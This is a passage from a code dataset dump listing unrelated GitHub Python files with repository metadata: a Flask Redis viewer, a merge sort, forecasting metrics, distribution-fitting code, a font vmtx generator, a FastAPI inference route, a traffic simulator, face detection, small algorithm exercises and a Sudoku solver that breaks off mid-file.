chat_file_name))\n chat_server = loop.create_task(serve_chat(chat_file_name, access_token, profile, channel_id=\"kumikomii\"))\n rtmp_data = {\n \"isConnected\" : True,\n \"stream_id\" : stream_id,\n \"start_time\" : start_time,\n \"stream_file_name\" : stream_file_name,\n \"chat_file_name\" : chat_file_name\n }\n out_queue.put_nowait(rtmp_data)\n\n elif message.startswith('disconnected'):\n chat_server.cancel()\n rtmp_data = {\n \"isConnected\" : False,\n \"stream_id\" : None,\n \"start_time\" : None,\n \"stream_file_name\" : None,\n \"chat_file_name\" : None\n }\n out_queue.put_nowait(rtmp_data)\n\n if os.path.isfile(os.path.join(configRouter.configparser.config['default']['data_path'], 'chatLog', chat_file_name)):\n analyzer = MAnalyzer(os.path.join(configRouter.configparser.config['default']['data_path'], 'chatLog', chat_file_name))\n analyzer.analyze()\n for id, clip_time in enumerate(analyzer.alerted_timestamp):\n start_time = max(0, clip_time+configRouter.configparser.config['default']['start_time_interval'])\n end_time = clip_time+configRouter.configparser.config['default']['end_time_interval']\n clip_id = await database.data_insert(database.connect, 'tb_clip_time', (start_time, end_time, analyzer.__class__.__name__, f\"clip #{id}\", stream_id))\n else:\n print(\"there is no chat log in streamed data.\")","repo_name":"Magwari/ClipCollector","sub_path":"rtmp.py","file_name":"rtmp.py","file_ext":"py","file_size_in_byte":9563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"21591357597","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n Simple flask application displays data from database. Module with views.\n\"\"\"\n\nfrom flask import Flask, render_template, request, redirect, url_for\nfrom shot import REDIS_SERVER\nfrom datetime import date, datetime\nimport time\nimport settings\n\n\napp = Flask(__name__)\napp.debug = settings.DEBUG\n\n\nFORMAT_CALENDAR = '%d.%m.%Y'\n\n\nFORMAT_DATETIME = '%Y-%m-%d %H:%M:%S.%f'\n\n\nFORMAT_DATETIME_FILTER = '%d-%m-%Y %H:%M'\n\n\n@app.template_filter('strftime')\ndef filter_datetime(date):\n \"\"\"\n Template tag changes format datetime.\n :param date:\n :return:\n \"\"\"\n return datetime.strptime(date, FORMAT_DATETIME).strftime(FORMAT_DATETIME_FILTER)\n\n\ndef convert_to_date(date_to_convert, format_date):\n \"\"\"\n Function convert string to date.\n :param date_to_convert: string\n :param format_date: string\n :return: date\n \"\"\"\n time_to_convert = time.strptime(date_to_convert, format_date)\n return date(*time_to_convert[:3])\n\n\ndef check_date(date_to_check, date_from, date_to):\n \"\"\"\n Check if the date is between range of dates.\n :param date_to_check: string\n :param date_from: string\n :param date_to: string\n :return: True or False\n \"\"\"\n date_from = convert_to_date(date_from, FORMAT_CALENDAR)\n date_to = convert_to_date(date_to, FORMAT_CALENDAR)\n if date_from > date_to:\n return False\n return date_to >= convert_to_date(date_to_check, FORMAT_DATETIME) >= date_from\n\n\ndef get_hotshots(date_filter=False, date_from=None, date_to=None):\n \"\"\"\n Function return sorted data from redis. Function can also return sorted data by date.\n :param date_filter: True or False (default)\n :param date_from: string\n :param date_to: string\n :return: list\n \"\"\"\n keys = REDIS_SERVER.keys()\n\n if date_filter:\n keys = [key for key in keys if check_date(key, date_from, date_to)]\n\n items = []\n\n for key in keys:\n hotshot = REDIS_SERVER.hgetall(key)\n hotshot['title'] = unicode(hotshot.get('title'), 'utf-8')\n items.append(hotshot)\n\n items.sort(reverse=True)\n\n return items\n\n\n@app.route('/', methods=['GET'])\ndef index():\n \"\"\"\n View displays list of hotshots.\n :return:\n \"\"\"\n items = get_hotshots()\n return render_template('index.html', hotshots=items)\n\n\n@app.route('/hotshots', methods=['POST'])\ndef hotshots():\n \"\"\"\n View displays results filtered by date.\n :return:\n \"\"\"\n if request.method == 'POST':\n\n date_from = request.form.get('date_from')\n date_to = request.form.get('date_to')\n\n if date_from and date_to:\n items = get_hotshots(True, date_from, date_to)\n\n return render_template('index.html', hotshots=items)\n\n return redirect(url_for('index'))\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n \"\"\"\n View which handle error 404 page not found.\n :param e:\n :return:`\n \"\"\"\n return render_template('error.html', error_404=True), 404\n\n\n@app.errorhandler(500)\ndef exception_handler(e):\n \"\"\"\n View which handle error 500 internal server error.\n :param e:\n :return:\n \"\"\"\n return render_template('error.html', error_500=True), 500\n\n\nif __name__ == \"__main__\":\n app.run(host=settings.HOST, port=settings.PORT_APP)\n","repo_name":"jrafa/hotshot","sub_path":"hotshot.py","file_name":"hotshot.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"5574368569","text":"def merge(lst, start, mid, end):\n \"\"\" Merge function for merge sort that merges\n the sub-lists of 'lst' from 'start' to 'end',\n segregated by the 'mid' index.\n \"\"\"\n # Setup temp list\n tmp_list = [0] * (end - start + 1)\n\n # Setup crawler indices for both intervals being merged\n first_crawler = start\n second_crawler = mid + 1\n tmp_idx = 0 # ...and for the tmp_list where merger resolves\n\n # Traverse both intervals simultaneously & the tmp_list,\n # placing the lowest from each interval into tmp_list.\n while first_crawler <= mid and second_crawler <= end:\n first_val = lst[first_crawler]\n second_val = lst[second_crawler]\n # if the first interval has a smaller value add it\n if first_val <= second_val:\n tmp_list[tmp_idx] = first_val\n first_crawler += 1\n else:\n tmp_list[tmp_idx] = second_val\n second_crawler += 1\n tmp_idx += 1 # don't forget to increment k's crawler\n \n # Since one crawler could've stopped early,\n # go through each of them till the end to add remainder to tmp_lst\n while first_crawler <= mid:\n tmp_list[tmp_idx] = lst[first_crawler]\n first_crawler += 1\n tmp_idx += 1\n\n while second_crawler <= end:\n tmp_list[tmp_idx] = lst[second_crawler]\n second_crawler += 1\n tmp_idx += 1\n \n # Finally, copy tmp_idx back into original list at given interval\n for tmp_idx in range(end - start + 1):\n lst[tmp_idx + start] = tmp_list[tmp_idx]\n\ndef merge_sort_recursive(l, start, end):\n \"\"\" The recursive part of merge_sort.\n Finds the middle point to split the sort.\n Then Calls itself on the first half.\n Same for the second half.\n Merges current part.\n This recursion means the smallest possible partitions\n get merged into sorted sub-lists.\n Each recursion depth upward goes towards the final size,\n with each recursion below having sorted sublists.\n After the final merger, the list is sorted.\n \"\"\"\n # The final recursion occurs when start & end are the same.\n # If this is the case there's nothing to merge, so continue in above call.\n if start >= end:\n return\n \n # Figure out the mid point before partitioning recursively.\n # The minus 1 in parentheses is to avoid overflow and to normalize range.\n # The >> 1 is a quick way to divide by 2**1 using bitwise math.\n mid = (start + (end - 1)) >> 1\n\n # Partition into two sections around mid, then merge them.\n # When done recursively the smallest partitions are merged first.\n # Then the previous level of recursion does this to a larger partition.\n merge_sort_recursive(l, start, mid)\n merge_sort_recursive(l, mid + 1, end)\n merge(l, start, mid, end)\n\n \n\ndef merge_sort(l):\n \"\"\" Sort with merge sort algorithm.\n This calls the function that does the actual recursion & merging,\n merge_sort_recursive().\n This way, a clean function signature is exposed to developers.\n \"\"\"\n merge_sort_recursive(l, 0, len(l) - 1)\n\n\n# def recursive_merge_sort(lst, ):","repo_name":"marcus-grant/python-cs","sub_path":"algorithms/sort/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"12448184795","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.metrics import r2_score\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import mean_absolute_error as mae\nimport time\nimport os\nimport math\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\n\ndef rmse(predictions, targets):\n return np.sqrt(np.mean((predictions - targets) ** 2))\ndef mape(actual, pred):\n actual, pred = np.array(actual), np.array(pred)\n return np.mean(np.abs((actual - pred) / actual)) * 100\ndef smape(act,forc):\n return 100/len(act) * np.sum(2 * np.abs(forc - act) / (np.abs(act) + np.abs(forc)))\ndef tic (act,forc):\n leng=len(act)\n useless=np.zeros(leng)\n upper= mae(act,forc)\n lower=mae(act,useless)+mae(forc,useless)\n return upper/lower\nnow = datetime.now()\n\nresult_location=\"C:\\\\Users\\\\wan397\\\\OneDrive - CSIRO\\\\Desktop\\\\3rd_predictor\\\\\"\nnow = datetime.now()\nresult_location_step = result_location + 'Bi_LSTM_att_UCSD__49days.csv'\n\n\n\n\ndata_= pd.read_csv(result_location_step, header=0, encoding='windows-1252')\ndata_ = np.array(data_)\ndata_real = np.array(data_[:,1]).reshape(-1,1)\npred_=data_[:, 0].reshape(-1,1)\n\nprint('rmse, r_2, mape, mae, smape, tic \\n')\n\n# plt.plot(record_ave_)\n# plt.plot(prediction_ave_)\n# plt.plot(data_real)\n# plt.show()\n\nrmse_each = rmse(pred_, data_real)\nr_2_each = r2_score(pred_, data_real)\nmape_each = mape(pred_, data_real)\nmae_each = mae(pred_, data_real)\nsmape_each = smape(pred_, data_real)\ntic_each = tic(pred_, data_real)\ns = str(rmse_each) + ',' + str(r_2_each) + ',' + str(mape_each)+ ',' + str(mae_each) + ',' + str(smape_each)+ ',' + str(tic_each)\nprint (s)\n\n\n\n\n\n\n\n","repo_name":"xinlin-CSIRO/prediction_work_with_reinforcement_learning","sub_path":"evaluation_alternatives.py","file_name":"evaluation_alternatives.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"1004494347","text":"import torch as ch\nfrom os import path\nimport dill\nfrom uuid import uuid4\nimport pandas as pd\nimport numpy as np\nimport sys\nimport shutil\nfrom scipy.integrate import quad\nimport dill\nfrom uuid import uuid4\nimport cvxpy as cvx\nfrom scipy.stats import norm\nfrom pathlib import Path\nimport argparse\nfrom glob import glob\nfrom pathlib import Path\nimport argparse\nimport tqdm\n\nfrom .beta_mixtures import fit_model\nfrom .splineqp_utils import fit_conditional\n\nclass ClassifierData:\n def __init__(self, name, v1_acc, v2_acc, model_v2, model_v1,\n llp1, llp2, llcond, s_given_f=None, f_given_s=None):\n self.name = name\n self.v1_acc = v1_acc\n self.v2_acc = v2_acc\n self.model_v2 = model_v2\n self.s_given_f = s_given_f\n self.f_given_s = f_given_s\n self.model_v1 = model_v1\n self.corrected_accuracy = self.p_fx_corrected()\n self.llp1 = llp1\n self.llp2 = llp2\n self.llcond = llcond\n\n def p2_fx_given_s(self, s):\n if self.s_given_f:\n num = self.v2_acc * self.s_given_f.pdf(s)\n denom = self.model_v2.pdf(s)\n return num / denom\n else:\n return self.f_given_s.pdf(s)\n\n def to_integrate(self, s):\n return self.p2_fx_given_s(s) * self.model_v1.pdf(s)\n\n def p_fx_corrected(self):\n return quad(self.to_integrate, 0., 1., limit=200)[0]\n\ndef fit_models(df, num_betas, mode, cache_or_cache_dir, verbose=False,\n debug=False):\n models = {}\n num_workers = df.groupby('url').agg(count=('selected',\n 'count'))['count'].unique()\n assert len(num_workers) == 1\n print(f\"{num_workers[0]} workers\")\n\n def direct_fit(dataset, conditioning, ps_dist, aux):\n to_pass = {\n 'visualize': False,\n 'verbose': verbose,\n 'conditioning': conditioning,\n 'aux': aux,\n 'num_workers': int(num_workers[0]),\n 'debug': debug\n }\n return fit_conditional(df, dataset, ps_dist, **to_pass)\n\n def ez_fit(dataset, conditioning=None):\n to_pass = {\n 'visualize':False,\n 'verbose':verbose,\n 'num_betas':num_betas,\n 'conditioning':conditioning,\n 'debug': debug\n }\n return fit_model(df, dataset, **to_pass)\n\n if isinstance(cache_or_cache_dir, str):\n prob_v1, l1 = ez_fit('v1')\n prob_v2, l2 = ez_fit('v2')\n to_save = {\n 'v1': (prob_v1, l1),\n 'v2': (prob_v2, l2)\n }\n ch.save(to_save, path.join(cache_or_cache_dir, \"betas.pt\"))\n print(f\"Saved to {cache_or_cache_dir} betas.pt\")\n else:\n prob_v1, l1 = cache_or_cache_dir['v1']\n prob_v2, l2 = cache_or_cache_dir['v2']\n\n models['v1'] = (prob_v1, l1)\n models['v2'] = (prob_v2, l2)\n\n for k in [_k for _k in df.keys() if 'correct_' in _k]:\n if mode == 'direct':\n # prob_v1_cond, l1 = direct_fit('v1', k, prob_v1.pdf, prob_v2.pdf)\n prob_v2_cond, l2 = direct_fit('v2', k, prob_v2.pdf, prob_v1.pdf)\n elif mode == 'ez':\n # prob_v1_cond, l1 = ez_fit('v1', k)\n prob_v2_cond, l2 = ez_fit('v2', k)\n\n # models[f'v1|{k}'] = (prob_v1_cond, l1)\n models[f'v2|{k}'] = (prob_v2_cond, l2)\n\n return models\n\ndef get_classifier_data(models, df, mode='ez'):\n model_v1, ll1 = models['v1']\n model_v2, ll2 = models['v2']\n\n x_pts = []\n y_pts = []\n y2_pts = []\n names = []\n\n classifier_datas = []\n\n sorted_keys = models.keys()\n for classifier in tqdm.tqdm([k for k in sorted_keys if 'v2|' in k]):\n classifier_name = '|'.join(classifier.split('|')[1:])\n\n v2_cond_model, llc = models[f'v2|{classifier_name}']\n\n prob_correct_v1 = df[df['dataset'] == 'v1'][classifier_name].mean()\n prob_correct_v2 = df[df['dataset'] == 'v2'][classifier_name].mean()\n\n kwargs = {\n 'name':classifier_name,\n 'v1_acc':prob_correct_v1,\n 'v2_acc':prob_correct_v2,\n 'model_v2':model_v2,\n 'model_v1':model_v1,\n 'llp1':ll1,\n 'llp2':ll2,\n 'llcond':llc\n }\n if mode == 'ez':\n kwargs['s_given_f'] = v2_cond_model\n elif mode == 'direct':\n kwargs['f_given_s'] = v2_cond_model\n\n cd = ClassifierData(**kwargs)\n classifier_datas.append(cd)\n\n return classifier_datas\n","repo_name":"MadryLab/dataset-replication-analysis","sub_path":"src/utils/ps_fitting.py","file_name":"ps_fitting.py","file_ext":"py","file_size_in_byte":4471,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"99"} +{"seq_id":"8369735870","text":"#!/usr/bin/env python3\n\nfrom collections import defaultdict\nimport sys\n\nfrom fontTools.ttLib import TTFont\n\n\nclass VMTXFeatureGenerator(object):\n def __init__(self):\n self.mtx = {}\n\n def import_font(self, font, cidmap):\n upem = font[\"head\"].unitsPerEm\n vmetrics = font[\"vmtx\"].metrics\n vorgrecs = font[\"VORG\"].VOriginRecords\n names = set(font.getGlyphOrder()) & cidmap.keys()\n for name in names:\n cids = cidmap[name]\n vadv, _tsb = vmetrics[name]\n if vadv == upem:\n vadv = None\n if name in vorgrecs:\n vorg = vorgrecs[name]\n else:\n vorg = None\n for cid in cids:\n self.mtx[cid] = (vadv, vorg)\n\n def generate(self):\n lines = []\n lines.append(\"table vmtx {\")\n lines.extend(\n line\n for cid, (vadv, vorg) in self.mtx.items()\n for line in [\n \" VertOriginY \\\\{0:05d} {1};\".format(cid, vorg)\n if vorg is not None else None,\n \" VertAdvanceY \\\\{0:05d} {1};\".format(cid, vadv)\n if vadv is not None else None,\n ] if line\n )\n lines.append(\"} vmtx;\")\n return \"\\n\".join(lines) + \"\\n\"\n\n\ndef parse_map(mappath):\n cidmap = defaultdict(list)\n with open(mappath) as mapfile:\n next(mapfile) # skip \"mergefonts\"\n for line in mapfile:\n cid, name = line.split()\n cidmap[name].append(int(cid))\n return cidmap\n\n\ndef mkvmtxfeat(infiles):\n gen = VMTXFeatureGenerator()\n for mapfile, fontfile in infiles:\n cidmap = parse_map(mapfile)\n gen.import_font(TTFont(fontfile), cidmap)\n return gen.generate()\n\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--outfile\", \"-o\")\n parser.add_argument(\"files\", nargs=\"+\")\n args = parser.parse_args()\n\n if len(args.files) % 2 != 0:\n raise ValueError(\"number of files must be even\")\n maps = args.files[::2]\n fonts = args.files[1::2]\n\n featdata = mkvmtxfeat(zip(maps, fonts))\n if args.outfile is None:\n sys.stdout.write(featdata)\n else:\n with open(args.outfile, \"w\") as outfile:\n outfile.write(featdata)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"kurgm/kappotai","sub_path":"scripts/mkvmtxfeat.py","file_name":"mkvmtxfeat.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"99"} +{"seq_id":"16423283870","text":"from typing import Any, List, Iterator, Tuple\nfrom fastapi import HTTPException\n\nfrom fastapi import APIRouter\nfrom domains import inference_domain\nimport dto\nfrom config import logger\nimport os\nrouter = APIRouter()\n\n\n@router.get(\"/api/detect/{utterance}/{audio_loc}\", response_model=List[dto.Prediction])\ndef generate_phrase_detections(utterance: str, audio_loc: str) -> Any:\n \"\"\"Run inference on an audio file with a model for an utterance. Currently\n available utterances are: \"call\", \"is\", \"recorded\"\n\n Args:\n utterance: Case sensitive name of the model to be used for inference\n audio_loc: The full or relative path to the audio file for which inference\n is to be executed\n \"\"\"\n try:\n model = inference_domain.MODEL_DICT[utterance]\n except KeyError:\n raise HTTPException(\n 404, f\"Utterance {utterance} not found in local model dictionary\"\n )\n\n try:\n resampled_audio = inference_domain.load_resampled(audio_loc, inference_domain.SAMPLE_RATE)\n except FileNotFoundError:\n raise HTTPException(404, f\"File {audio_loc} not found\")\n\n predictions = []\n for time, audio_snip in inference_domain.iterate_call(resampled_audio):\n confidence = model(audio_snip)\n if confidence > inference_domain.MODEL_CONFIDENCE_THRESHOLD:\n predictions.append(\n dto.Prediction(\n phrase=utterance, time=time / inference_domain.SAMPLE_RATE, confidence=confidence\n )\n )\n\n return predictions","repo_name":"RamishUrRehman007/Audio_Training_Microservice","sub_path":"audio_training_microservice/views/inference_view.py","file_name":"inference_view.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"4001036052","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n#K is the viscosity parameter\r\nK = .25\r\n\r\ndef main():\r\n fine = int(input(\"Cells per x value (positive integer): \"))\r\n time = int(input(\"Number of iterations: \"))\r\n\r\n #these are the average values for each cell\r\n #change initial conditions here\r\n left_rho = [(1+np.sin(float(x)/fine+0.5/fine))/2 for x in range(100*fine)]\r\n #left_rho = [(0.3+0.002*x/fine) for x in range(100*fine)]\r\n left_v = [1-x for x in left_rho]\r\n pgd_rho = [0.3 for _ in range(20*fine)]\r\n pgd_v = [0.2 for _ in range(20*fine)]\r\n right_rho = [0.3 for _ in range(100*fine)]\r\n right_v = [0.7 for _ in range(100*fine)]\r\n\r\n full_rho = left_rho + pgd_rho + right_rho\r\n full_v = left_v+ pgd_v + right_v\r\n \r\n x_values = [x/fine for x in range(220*fine)]\r\n plt.plot(x_values,full_rho,'#3399FF')\r\n\r\n for t in range(time):\r\n\r\n left_bounds = (left_rho[0],left_v[0],left_rho[-1],left_v[-1])\r\n pgd_bounds = (pgd_rho[0],pgd_v[0],pgd_rho[-1],pgd_v[-1])\r\n right_bounds = (right_rho[0],right_v[0],right_rho[-1],right_v[-1])\r\n\r\n left_rho.append(pgd_bounds[0])\r\n left_v.append(pgd_bounds[1])\r\n left_rho.insert(0,right_bounds[2])\r\n left_v.insert(0,right_bounds[3])\r\n\r\n pgd_rho.append(right_bounds[0])\r\n pgd_v.append(right_bounds[1])\r\n pgd_rho.insert(0,left_bounds[2])\r\n pgd_v.insert(0,left_bounds[3])\r\n\r\n right_rho.append(left_bounds[0])\r\n right_v.append(left_bounds[1])\r\n right_rho.insert(0,pgd_bounds[2])\r\n right_v.insert(0,pgd_bounds[3])\r\n\r\n ar_left = ar_step(left_rho,left_v,.5)\r\n left_rho = ar_left[0]\r\n left_v = ar_left[1]\r\n\r\n pgd = pgd_step(pgd_rho,pgd_v,.5)\r\n pgd_rho = pgd[0]\r\n pgd_v = pgd[1]\r\n\r\n ar_right = ar_step(right_rho,right_v,.5)\r\n right_rho = ar_right[0]\r\n right_v = ar_right[1]\r\n\r\n\r\n full_rho = left_rho + pgd_rho + right_rho\r\n full_v = left_v+ pgd_v + right_v\r\n plt.plot(x_values,full_rho,'#FF0000')\r\n plt.show()\r\n \r\n\r\n#McCormack scheme with artificial viscosity smoothing\r\n#length of arrays should be equal and at least 3\r\ndef ar_step (rho, v, dtdx):\r\n size = len(rho)\r\n U = []\r\n for x in range(size):\r\n U.append(np.array([rho[x],(rho[x]*(rho[x]+v[x]))]))\r\n\r\n F = [v[x]*U[x] for x in range(size)]\r\n \r\n visc = []\r\n visc.append(np.linalg.norm(U[1]-U[0])/(np.linalg.norm(U[1])+np.linalg.norm(U[0])))\r\n for x in range(1,(size-1)):\r\n visc.append(np.linalg.norm(U[x+1]-2*U[x]+U[x-1])/(np.linalg.norm(U[x+1])+2*np.linalg.norm(U[x])+np.linalg.norm(U[x-1])))\r\n visc.append(np.linalg.norm(U[-1]-U[-2])/(np.linalg.norm(U[-1])+np.linalg.norm(U[-2])))\r\n\r\n #predictor step\r\n U_pred = [U[x]-dtdx*(F[x]-F[x-1]) for x in range(1,size)]\r\n v_pred = [(u[1]/u[0] - u[0]) if u[0] !=0 else 0 for u in U_pred]\r\n F_pred = [v_pred[x]*U_pred[x] for x in range(size-1)]\r\n\r\n #corrector step\r\n U_corr = [(0.5*(U[x]+U_pred[x])-0.5*dtdx*(F_pred[x+1]-F_pred[x])) for x in range(size-2)]\r\n #add prior values at boundaries for use in next step\r\n U_corr.insert(0,U[0])\r\n U_corr.append(U[-1])\r\n\r\n #viscosity step\r\n U_av = []\r\n for x in range(1,size-1):\r\n viscL = K*max(visc[x-1],visc[x])\r\n viscR = K*max(visc[x],visc[x+1])\r\n U_av.append(U_corr[x]+viscR*(U_corr[x+1]-U_corr[x])-viscL*(U_corr[x]-U_corr[x-1]))\r\n\r\n #returns a tuple of rho and v lists\r\n rho_new = [min(max(u[0],0.0001),1.) for u in U_av]\r\n v_new = [min(max((u[1]/u[0] - u[0]),0.),1.) for u in U_av]\r\n rho_v_tup = (rho_new,v_new)\r\n return rho_v_tup\r\n \r\n\r\n#Godunov-type scheme\r\ndef pgd_step (rho, v, dtdx):\r\n size = len(rho)\r\n Q = []\r\n for x in range(size):\r\n Q.append(np.array([rho[x],(rho[x]*v[x])]))\r\n\r\n\r\n F = [v[x]*Q[x] for x in range(size)]\r\n\r\n #trying it without correction term\r\n Q_next = [(Q[x] - dtdx*(F[x]-F[x-1])) for x in range(1,size-1)]\r\n\r\n #returns a tuple of rho and v lists\r\n #bounds rho above to avoid overflow and make the graph readable\r\n rho_new = [min(max(q[0],0.0001),100) for q in Q_next]\r\n v_new = [max(q[1]/q[0],0.) if q[0] !=0 else 1 for q in Q_next]\r\n rho_v_tup = (rho_new,v_new)\r\n return rho_v_tup\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"IonicFlavor/traffic-model","sub_path":"Model_Simulator.py","file_name":"Model_Simulator.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"21494270124","text":"class Solution:\n def smallestEquivalentString(self, s1: str, s2: str, baseStr: str) -> str:\n parent = {}\n for i in range(26):parent[chr(97+i)] = chr(97+i)\n def find(child):\n if child != parent[child]: \n parent[child] = find(parent[child])\n return parent[child]\n def union(ver1,ver2):\n letter1 = find(ver1)\n letter2 = find(ver2)\n if letter1 > letter2:\n parent[letter1] = letter2\n else:\n parent[letter2] = letter1\n for i in range(len(s1)):\n union(s1[i],s2[i])\n ans = []\n for i in baseStr:\n ans.append(find(i))\n return \"\".join(ans)\n ","repo_name":"solomon-spec/A2SV","sub_path":"1061-lexicographically-smallest-equivalent-string/1061-lexicographically-smallest-equivalent-string.py","file_name":"1061-lexicographically-smallest-equivalent-string.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"16328907865","text":"import cv2\nimport sys\n\ncascPath = sys.argv[1]\nfaceCascade = cv2.CascadeClassifier(cascPath)\n\nvideo_capture = cv2.VideoCapture(0)\n\nwhile True:\n # Capture frame-by-frame\n ret, frame = video_capture.read()\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.cv.CV_HAAR_SCALE_IMAGE\n )\n\n # Draw a rectangle around the faces\n for (x, y, w, h) in faces:\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\n # Display the resulting frame\n cv2.imshow('Video', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# When everything is done, release the capture\nvideo_capture.release()\ncv2.destroyAllWindows()","repo_name":"HABIT-HORSE/habit_webcam_detection_using_haar_cascade_files","sub_path":"detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"18195334772","text":"#!/usr/bin/python\n#coding:utf-8\n\n# 在O(1)时间内删除链表结点\n# 给定单向链表的头指针和一个结点指针,定义一个函数在O(1)时间删除该结点\nclass ListNode:\n def __init__(self, x=None):\n self.val = x\n self.next = None\n\nclass Solution:\n def initlinklist(self, nums):\n head = ListNode(nums[0])\n re = head\n for i in nums[1:]:\n re.next = ListNode(i)\n re = re.next\n return head\n \n def printlinklist(self, head):\n re = []\n while head:\n re.append(head.val)\n head = head.next\n print(re)\n\n def deleteNode(self, head, delNode):\n # print(head, delNode)\n if not head or not delNode:return None\n if delNode == head:return None\n if not delNode.next:#在尾节点\n p = head\n while p.next and p.next.next:\n p = p.next\n p.next = None\n else:\n delNode.val = delNode.next.val\n delNode.next = delNode.next.next\n\n\nn1 = ListNode(1)\nn2 = ListNode(2)\nn3 = ListNode(3)\nn4 = ListNode(4)\nn5 = ListNode(5)\nn1.next = n2\nn2.next = n3\nn3.next = n4\nn4.next = n5\n\nobj = Solution()\n# re = obj.initlinklist(nums)\n\n# obj.deleteNode(n1, n3)\n# obj.printlinklist(n1)\n\n# print(obj.deleteNode(n1, n1))\n\nobj.deleteNode(n1, n5)\nobj.printlinklist(n1) ","repo_name":"wulinlw/leetcode_cn","sub_path":"剑指offer/18_在O(1)时间内删除链表结点.py","file_name":"18_在O(1)时间内删除链表结点.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"40903069306","text":"from configs.config import CONFIG, db\nimport argparse\n\nif __name__ == '__main__':\n # print('Deleted {} movies.'.format(db.movie.delete_many({}).deleted_count))\n # print('Deleted {} schedules.'.format(db.schedule.delete_many({}).deleted_count))\n # print('Deleted {} candidates.'.format(db.candidate.delete_many({}).deleted_count))\n parser = argparse.ArgumentParser(description='Process some integers.')\n parser.add_argument(\"sapo_id\", nargs='?', default=\"check_string_for_empty\")\n args = parser.parse_args()\n\n if args.sapo_id == 'check_string_for_empty':\n print('No argument given for sapo_id')\n else:\n db.movie.delete_many({'sapo_id': args.sapo_id})\n db.candidate.delete_many({'sapo_id': args.sapo_id})\n db.schedule.delete_many({'sapo_id': args.sapo_id})\n","repo_name":"codectl/ultimosfilmesnatv-crawler","sub_path":"delete_movie.py","file_name":"delete_movie.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"22685867450","text":"from puzzle import Puzzle\nimport copy\nclass Solver:\n def __init__(self, puzzle):\n self.puzzle = puzzle\n \n\n def getOccurances(self, value, key, index):\n numOccurances = 0\n if key == 'row':\n for cell in self.puzzle.getRow(index):\n if value in cell.possibleValues:\n numOccurances += 1\n\n if key == 'column':\n for cell in self.puzzle.getColumn(index):\n if value in cell.possibleValues:\n numOccurances += 1\n\n if key == 'sector':\n for cell in self.puzzle.getSector(index):\n if value in cell.possibleValues:\n numOccurances += 1\n return numOccurances\n\n def checkPuzzle(self, puzzle = 0):\n if puzzle == 0: puzzle = self.puzzle\n for i in range(9):\n if sum(puzzle.getRow(i)) != 45 or sum(puzzle.getColumn(i)) != 45 or sum(puzzle.getSector(i)) != 45:\n return False\n for num in range(1, 10):\n for i in range(0, 9):\n if any(puzzle.getRow(i).count(num) > 1 for x in puzzle.getRow(i)):\n return False\n if any(puzzle.getColumn(i).count(num) > 1 for x in puzzle.getColumn(i)):\n return False\n if any(puzzle.getSector(i).count(num) > 1 for x in puzzle.getSector(i)):\n return False\n return True\n\n def bruteforceSolve(self, puzzle = 0, level = 0):\n if puzzle == 0: puzzle = self.puzzle\n if not 0 in puzzle:\n return puzzle\n # print(level + \"\\n\" + puzzle.showPuzzle())\n for cell in puzzle.cells:\n if cell.value == 0:\n for value in range(1, 10):\n possible = False\n if self.checkValid(puzzle, cell, value):\n puzzle.cells[cell.index].equals(value)\n newPuzzle = self.bruteforceSolve(puzzle, level + 1)\n if newPuzzle:\n return puzzle\n puzzle.cells[cell.index].equals(0)\n \n return False\n # else: tempPuzzle = puzzle \n return False\n \n def checkValid(self, puzzle, cell, value):\n for j in puzzle.getColumn(cell.index):\n if j.value == value: return False\n for j in puzzle.getRow(cell.index): \n if j.value == value: return False\n for j in puzzle.getSector(cell.index):\n if j.value == value: return False\n return True\n\n def advancedSolve(self):\n for num in range(1, 10):\n for index in range(9):\n if (self.getOccurances(num, 'column', index) == 1):\n for i in self.puzzle.getColumn(index):\n if num in i.possibleValues:\n i.equals(num)\n self.puzzle.numToSolve -= 1\n return\n \n\n if (self.getOccurances(num, 'sector', index) == 1):\n for i in self.puzzle.getSector(index):\n if num in i.possibleValues:\n i.equals(num)\n self.puzzle.numToSolve -= 1\n return\n\n if (self.getOccurances(num, 'row', index) == 1):\n for i in self.puzzle.getRow(index):\n if num in 